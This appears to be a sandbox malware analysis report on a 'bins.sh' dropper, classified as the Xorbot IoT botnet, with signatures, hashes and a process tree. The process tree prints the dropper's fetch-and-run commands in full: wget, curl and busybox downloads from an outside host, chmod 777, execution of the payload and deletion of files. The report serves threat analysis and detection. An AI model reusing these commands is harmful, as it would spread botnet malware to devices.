Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

3

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    127s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    14/02/2025, 01:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250214-btnsfsyjhk
  • SHA256 7fba33894c8ec79269b8a5ac82076ee2917e6378a516936ee8481aee247f7492
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoverytrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:702
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:707
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:711
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        PID:776
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        2⤵
        • System Network Configuration Discovery
        PID:811
      • /bin/chmod
        chmod 777 zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        2⤵
        • File and Directory Permissions Modification
        PID:812
      • /tmp/zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        ./zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        2⤵
        • System Network Configuration Discovery
        PID:813
      • /bin/rm
        rm zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        2⤵
        • System Network Configuration Discovery
        PID:815
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/qZsmo8frBh5Xu0NF1GiRATUPtaNKlBkSyH
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:816

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          qZsmo8frBh5Xu0NF1GiRATUPtaNKlBkSyH
          • Path /tmp/qZsmo8frBh5Xu0NF1GiRATUPtaNKlBkSyH
          • Size 82KB
          • SHA256 1007b384be5b663eb3c782637095e8a68238e512fe7b2541445922e07e30fcb1
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
          • Path /tmp/zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
          • Size 99KB
          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download